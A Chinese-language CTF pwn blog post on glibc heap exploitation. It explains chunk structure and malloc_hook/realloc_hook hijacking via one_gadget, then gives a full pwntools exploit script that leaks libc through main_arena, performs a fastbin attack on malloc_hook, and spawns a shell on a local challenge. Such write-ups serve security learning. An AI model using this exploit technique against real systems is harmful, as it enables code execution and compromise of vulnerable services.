CTF_pwn_堆

Jexy-kynner*^發表於2024-07-30

https://blog.csdn.net/qq_43332010/article/details/120402102
相關定義
攻擊原理及方法
gdb除錯理解
https://blog.csdn.net/xy_369/article/details/130788093
https://blingblingxuanxuan.github.io/2020/02/23/paper/#fastbin-attack
https://ywhkkx.github.io/2021/12/12/堆溢位+malloc_hook劫持/
https://blog.csdn.net/Breeze_CAT/article/details/103789081

前置

chunk

[每次malloc或者calloc時會新建一個chunk]{.kbd .blue}

struct malloc_chunk {
 
  INTERNAL_SIZE_T      mchunk_prev_size;  /*  Size of previous chunk (if free).  */
 
  INTERNAL_SIZE_T      mchunk_size;       /* 當前chunk的大小 Size in bytes, including overhead. */
 
  struct malloc_chunk* fd;         /* double links -- used only if free. */
  struct malloc_chunk* bk;
 
  struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
  struct malloc_chunk* bk_nextsize;
}


[每次free時chhunk不會直接消失而是根據大小分進不同的bins]{.kbd .green}

heap1

  • 每次malloc呼叫前會檢查malloc_hook是否為0,一般預設為0,不為0則呼叫malloc_hook
  • realloc是一堆關於暫存器的函式,每次呼叫前會檢查realloc_hook是否為0,一般預設為0,不為0則呼叫realloc_hook
    本來想法是main_arena-0x10處是malloc_hook,接收main_arena後就可以洩露出malloc_hook和libc_base,就可以劫持malloc_hook了,接下來使malloc_hook成為fake_chunk後往裡填one_gadget即可,但是滿足條件是rsp+0x30...==null,發現每一個都不能用
    [所以我們可以將realloc_hook改為onegadget,然後透過這些push和sub操作"微調"rsp暫存器,使其能夠滿足在呼叫realloc_hook(也就是onegadget)的時候滿足相應的rsp條件。相應的利用方法就是由傳統的直接修改malloc_hook變為先修改realloc_hook為onegadget之後,修改malloc_hook到特定的一個push處或sub處,然後呼叫malloc便相當於執行了滿足條件的onegadget。]

wp

from pwn import *
from LibcSearcher import *
context(log_level = 'debug', os = 'linux', arch = 'amd64') 
#p=process('./heap1')
p =remote('127.0.0.1', 45967)
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6') 
def add(size):
    p.sendlineafter(':','1')
    p.sendlineafter(':',str(size))
def move(index):
    p.sendlineafter(':','2')
    p.sendlineafter(':',str(index))
def show(index):
    p.sendlineafter(':','3')
    p.sendlineafter(':',str(index))
def edit(index,content):
    p.sendlineafter(':','4')
    p.sendlineafter(':',str(index))
    p.sendlineafter(':',content)
add(0x110)#0
add(0x60)#1
add(0x60)#2
move(0)
show(0)
main_arena=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) -88
malloc_hook=main_arena-0x10
log.success('main_arena==> '+hex(main_arena))
log.success( 'malloc_hook==> '+hex(malloc_hook))
#libc=LibcSearcher('__malloc_hook', malloc_hook)
#libc_base=malloc_hook-libc.dump('__malloc_hook')
realloc_hook=malloc_hook-8
libc_base=malloc_hook-libc.symbols['__malloc_hook']
realloc=libc_base+libc.symbols['realloc']
log.success( 'libc_realloc==> '+hex(realloc))
log.success( 'realloc_hook==> '+hex(realloc_hook))
log.success('libc_ base==>' +hex(libc_base))
one_gadget = libc_base +0x4527a
# 0x45226 0x4527a 0xf03a4 0xf1247
log.success('one_ gadget==>' +hex(one_gadget))
add(0x60)
add(0x60)
move(3)
move(4)
add(0x10)
move(5)
edit(5,b'a'*8)
edit(3,p64(malloc_hook-0x23))
add(0x60)
add(0x60)
add(0x60)
payload=b'a'*11+p64(one_gadget)+p64(realloc+0xd)#02468bcd
edit(8,payload)
add(0x10)
p.interactive()